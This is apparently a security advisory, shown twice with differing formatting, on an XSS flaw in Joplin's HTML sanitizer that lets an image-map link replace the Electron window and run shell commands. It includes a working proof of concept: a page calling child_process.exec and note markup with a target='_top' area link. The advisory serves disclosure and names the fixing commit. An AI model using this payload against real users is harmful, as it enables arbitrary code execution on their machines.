Summary
An XSS vulnerability allows clicking on an untrusted image link to execute arbitrary shell commands.
Details
The HTML sanitizer (packages/renderer/htmlUtils.ts::sanitizeHtml) preserves <map> <area> links. However, unlike <a> links, the target and href attributes are not removed. Additionally, because the note preview pane isn't sandboxed to prevent top navigation, links with target set to _top can replace the toplevel electron page.
Because any toplevel electron page, with Joplin's setup, has access to require and can require node libraries, a malicious replacement toplevel page can import child_process and execute arbitrary shell commands.
This was fixed in commit 7c52c3e.
PoC
- Create a local website that serves the following HTML at
127.0.0.1:8000 (this can be done by running python3 -m http.server from the same directory that contains the index.html file).
<!-- index.html -->
<!DOCTYPE html>
<html>
<body>
<script>
// Change `ls -la` to some other command if running on Windows.
require('child_process').exec('ls -la', (err, stdout) => {document.body.innerText = stdout})
</script>
</body>
</html>
- Create a note with the following markdown:
<map name="redirect">
<area
shape="circle"
coords="0,0,1000"
target="_top"
href="http://127.0.0.1:8000/"
alt="Replace Joplin with a website" />
</map>
<img
usemap="#redirect"
src="https://via.placeholder.com/350x150"
alt="Click me!" />
- Click on the rendered image
Impact
This is an XSS vulnerability that impacts users that click on images in the markdown preview pane while viewing untrusted notes while connected to the internet.
personalizedrefrigerator Reporter
Summary
An XSS vulnerability allows clicking on an untrusted image link to execute arbitrary shell commands.
Details
The HTML sanitizer (
packages/renderer/htmlUtils.ts::sanitizeHtml) preserves<map><area>links. However, unlike<a>links, thetargetandhrefattributes are not removed. Additionally, because the note preview pane isn't sandboxed to prevent top navigation, links withtargetset to_topcan replace the toplevel electron page.Because any toplevel electron page, with Joplin's setup, has access to
requireand can require node libraries, a malicious replacement toplevel page can importchild_processand execute arbitrary shell commands.This was fixed in commit 7c52c3e.
PoC
127.0.0.1:8000(this can be done by runningpython3 -m http.serverfrom the same directory that contains theindex.htmlfile).Impact
This is an XSS vulnerability that impacts users that click on images in the markdown preview pane while viewing untrusted notes while connected to the internet.